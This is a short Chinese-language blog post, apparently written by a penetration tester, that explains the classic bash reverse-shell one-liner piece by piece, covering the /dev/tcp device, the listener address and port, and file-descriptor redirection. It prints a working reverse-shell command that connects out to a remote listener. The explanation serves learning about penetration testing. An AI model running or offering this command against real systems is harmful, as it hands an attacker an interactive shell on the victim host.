我們在對linux主機進行滲透測試的時候,經常回用到反彈shell,之前也沒好好去研究、理解具體都是干什么的,就只知道會用…(so low…-.-)
最基本的反彈shell的代碼如下:
bash -i >& /dev/tcp/192.168.1.1/8080 0>&1
咱們一步一步來分析:
Step 1
bash -i
這個大家都知道就是打開一個交互式的bash
Step 2
/dev/tcp
這個是linux中一個特殊的設備,打開這個文件就相當于建立了一個socket連接,對這個文件的讀寫就相當于在這個socket連接中傳輸數據。linux中還有和它一樣的文件 /dev/udp 。
Step 3
/192.168.1.1/8080
這個是表示遠程主機及監聽的端口。
Step 4
0>&1
首先科普下linux shell下常用的文件描述符:
標準輸入(stdin): 代碼為’0’,使用 < 或 <<
標準輸出(stdout): 代碼為’1’,使用 > 或 >>
標準錯誤輸出(stderr): 代碼為’2’,使用 2> 或 2>>
經過查找發現:
>& 和 &> 的作用是一樣的,即:
0>&1 和 0<&1 是一個意思,都是將標準輸入重定向到標準輸出中。
|